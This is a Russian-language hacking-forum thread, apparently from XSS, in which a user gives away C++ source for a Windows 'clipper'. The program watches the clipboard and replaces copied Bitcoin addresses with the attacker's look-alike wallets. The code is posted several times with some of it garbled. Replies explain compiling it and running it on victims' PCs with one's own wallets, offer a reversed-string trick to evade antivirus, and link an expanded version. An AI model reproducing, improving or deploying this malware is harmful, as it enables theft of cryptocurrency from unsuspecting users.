• XSS.stack #1 – первый литературный журнал от юзеров форума

Клиппер бесплатно

MrBang

(L3) cache
Seller
Регистрация
11.09.2023
Сообщения
266
Реакции
93
Гарант сделки
7
Всем кукусики, сижу я значит вечерком с пивасом и мне стало скучно, так что написал клиппер.

если скопируете скажем send money to this address "1A5Qbzg6LSXUXyXu2MDuGfzxwMA7do8zAL","3A98t1WpEZ73CNmQviecrnyiWrnqRhWNAy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqdA"
то получите
send money to this address "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
c++,visual studio,C11 standard

C++:
  #define NOMINMAX
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  std::string globbuff = "";
  int levenshteinDistance(const std::string& s1, const std::string& s2) {
      const int len1 = s1.size();
      const int len2 = s2.size();
 
      std::vector> dp(len1 + 1, std::vector(len2 + 1, 0));
 
      for (int i = 0; i (GlobalLock(hg));
      memcpy(globalLock, s.c_str(), s.size());
      GlobalUnlock(hg);
 
      if (!SetClipboardData(CF_TEXT, hg)) {
          CloseClipboard();
          return false;
      }
 
      CloseClipboard();
      return true;
  }
 
  void CheckBit(std::string& text) {
 
      // Регулярное выражение для поиска биткоин-адресов
      std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
 
      std::smatch matches;
      size_t lastPos = 0;
 
      while (true) {
          std::string tempText = text.substr(lastPos);
          if (!std::regex_search(tempText, matches, bitcoinRegex)) {
              break;
          }
 
          std::string k = matches[0].str();
 
          std::vector texts = {
              "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
          };
 
          int minDistance = std::numeric_limits::max();
          std::string closestText;
 
          for (const std::string& t : texts) {
              int distance = levenshteinDistance(k, t);
              if (distance (GlobalLock(hData));
                  if (pszText != NULL) {
                      std::string clipboardText = pszText;
                      GlobalUnlock(hData);
                      if (clipboardText != globbuff)
                          CheckBit(clipboardText);
                  }
              }
              CloseClipboard();
          }
          Sleep(500); // Пауза в полсекунды
      }
      return 0;
  }
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Всем кукусики, сижу я значит вечерком с пивасом и мне стало скучно, так что написал клиппер.

если скопируете скажем send money to this address "1A5Qbzg6LSXUXyXu2MDuGfzxwMA7do8zAL","3A98t1WpEZ73CNmQviecrnyiWrnqRhWNAy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqdA"
то получите
send money to this address "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
c++,visual studio,C11 standard

C++:
  #define NOMINMAX
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  std::string globbuff = "";
  int levenshteinDistance(const std::string& s1, const std::string& s2) {
      const int len1 = s1.size();
      const int len2 = s2.size();
 
      std::vector> dp(len1 + 1, std::vector(len2 + 1, 0));
 
      for (int i = 0; i (GlobalLock(hg));
      memcpy(globalLock, s.c_str(), s.size());
      GlobalUnlock(hg);
 
      if (!SetClipboardData(CF_TEXT, hg)) {
          CloseClipboard();
          return false;
      }
 
      CloseClipboard();
      return true;
  }
 
  void CheckBit(std::string& text) {
 
      // Регулярное выражение для поиска биткоин-адресов
      std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
 
      std::smatch matches;
      size_t lastPos = 0;
 
      while (true) {
          std::string tempText = text.substr(lastPos);
          if (!std::regex_search(tempText, matches, bitcoinRegex)) {
              break;
          }
 
          std::string k = matches[0].str();
 
          std::vector texts = {
              "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
          };
 
          int minDistance = std::numeric_limits::max();
          std::string closestText;
 
          for (const std::string& t : texts) {
              int distance = levenshteinDistance(k, t);
              if (distance (GlobalLock(hData));
                  if (pszText != NULL) {
                      std::string clipboardText = pszText;
                      GlobalUnlock(hData);
                      if (clipboardText != globbuff)
                          CheckBit(clipboardText);
                  }
              }
              CloseClipboard();
          }
          Sleep(500); // Пауза в полсекунды
      }
      return 0;
  }
как пользоваться им?
 
О_о скомпилить, и запустить у челов на пк.
ну разумеется заменить кошели на свои.
как только они скопируют кошели для перевода, кошель автоматом заменится на твой.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
О_о скомпилить, и запустить у челов на пк.
ну разумеется заменить кошели на свои.
как только они скопируют кошели для перевода, кошель автоматом заменится на твой.
интересует конкретно "скомпилить"
все остальное понятно, не разу с этим не сталкивался, если можешь вкратце расскажи
 
Устанавливаете Visual Studio, и нужные компоненты для c++(вы увидите при инсталяции)
создаёте проект c++ вставляете код компилируете,вуаля!
Если возникают ошибки, заходим в properties -> c++ -> language - > c(с)++ standard -> там ставим не меньше C11
незабывайте переключиться из Debug в release
 
небольшая чисточка,отвалятся несколько аверов, в функции CheckBit
замените
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
на

std::string reversedPattern = ")}93{]z-aZ-A9-0[1cb|)}43,52{]9-1Z-PN-JH-Az-mk-a[]31[((";
std::string normalPattern = std::string(reversedPattern.rbegin(), reversedPattern.rend());
std::regex bitcoinRegex(normalPattern);
 
a little cleaning, a few avers will fall off, in the CheckBit function
replace
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
on

std::string reversedPattern = ")}93{]z-aZ-A9-0[1cb|)}43,52{]9-1Z-PN-JH-Az-mk-a[]31[((";
std::string normalPattern = std::string(reversedPattern.rbegin(), reversedPattern.rend());
std::regex bitcoinRegex(normalPattern);

Could you share updated version of the code ?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
небольшая чисточка,отвалятся несколько аверов, в функции CheckBit
замените
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
на

std::string reversedPattern = ")}93{]z-aZ-A9-0[1cb|)}43,52{]9-1Z-PN-JH-Az-mk-a[]31[((";
std::string normalPattern = std::string(reversedPattern.rbegin(), reversedPattern.rend());
std::regex bitcoinRegex(normalPattern);
Зачем страдать такой фигней? Просто пошифруй строки

C++:
void CheckBit(std::string& text) {
 
      // Регулярное выражение для поиска биткоин-адресов
      std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
 
      std::smatch matches;
      size_t lastPos = 0;
 
      while (true) {
          std::string tempText = text.substr(lastPos);
          if (!std::regex_search(tempText, matches, bitcoinRegex)) {
              break;
          }

Тут ты выходишь из бесконечного цикла мониторинга буфера обмена, если в буфере не будет найден биткоин кошелек. В чем прикол?
Цитирую документацию regex_search
Returns true if a match exists, false otherwise
 
Цикл while в функции CheckBit предназначен для поиска всех биткоин-адресов в строке.
Поэтому если в текущей подстроке биткоин-адрес не найден цикл прерывается.
Это не означает выход из бесконечного цикла мониторинга буфера обмена это просто означает что в текущем содержимом буфера больше нет биткоин-адресов для обработки.

Шифрацию строк можно было сделать через XOR,но я тупо не стал заморачиваться) смысл если можно сделать проще)
 
Привет друг, я забыл немного про вас) вот обновлённый код, который позволяет вставить 100к адресов.
Hello friend, I forgot a little about you) here is an updated code that allows you to insert 100k addresses.

all address in "html1.htm"
https://qaz.im/load/Te2aR2/57cf5677-b34b-4615-b2d9-f53c18c5704b
 
Дорогие друзья, извиняюсь что так долго отсутствовал, скоро я буду восстанавливать все свои проекты + буду открывать новые.
Желаю вам хорошего дня ^__^
______________________________________________________
Dear friends, I apologize for being away for so long, soon I will restore all my projects + I will open new ones.
I wish you a good day ^__^
 
Всем кукусики, сижу я значит вечерком с пивасом и мне стало скучно, так что написал клиппер.

если скопируете скажем send money to this address "1A5Qbzg6LSXUXyXu2MDuGfzxwMA7do8zAL","3A98t1WpEZ73CNmQviecrnyiWrnqRhWNAy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqdA"
то получите
send money to this address "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
c++,visual studio,C11 standard

C++:
  #define NOMINMAX
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  std::string globbuff = "";
  int levenshteinDistance(const std::string& s1, const std::string& s2) {
      const int len1 = s1.size();
      const int len2 = s2.size();
 
      std::vector> dp(len1 + 1, std::vector(len2 + 1, 0));
 
      for (int i = 0; i (GlobalLock(hg));
      memcpy(globalLock, s.c_str(), s.size());
      GlobalUnlock(hg);
 
      if (!SetClipboardData(CF_TEXT, hg)) {
          CloseClipboard();
          return false;
      }
 
      CloseClipboard();
      return true;
  }
 
  void CheckBit(std::string& text) {
 
      // Регулярное выражение для поиска биткоин-адресов
      std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
 
      std::smatch matches;
      size_t lastPos = 0;
 
      while (true) {
          std::string tempText = text.substr(lastPos);
          if (!std::regex_search(tempText, matches, bitcoinRegex)) {
              break;
          }
 
          std::string k = matches[0].str();
 
          std::vector texts = {
              "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
          };
 
          int minDistance = std::numeric_limits::max();
          std::string closestText;
 
          for (const std::string& t : texts) {
              int distance = levenshteinDistance(k, t);
              if (distance (GlobalLock(hData));
                  if (pszText != NULL) {
                      std::string clipboardText = pszText;
                      GlobalUnlock(hData);
                      if (clipboardText != globbuff)
                          CheckBit(clipboardText);
                  }
              }
              CloseClipboard();
          }
          Sleep(500); // Пауза в полсекунды
      }
      return 0;
  }
годно, но разве кто то юзает клипперы? не эффективно же, юзер может просто сравнить исходный адрес с только что вставленным, только если собирать огромную базу из своих адресов чтобы адрес жертвы подменялся на более похожий с начала и с конца
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх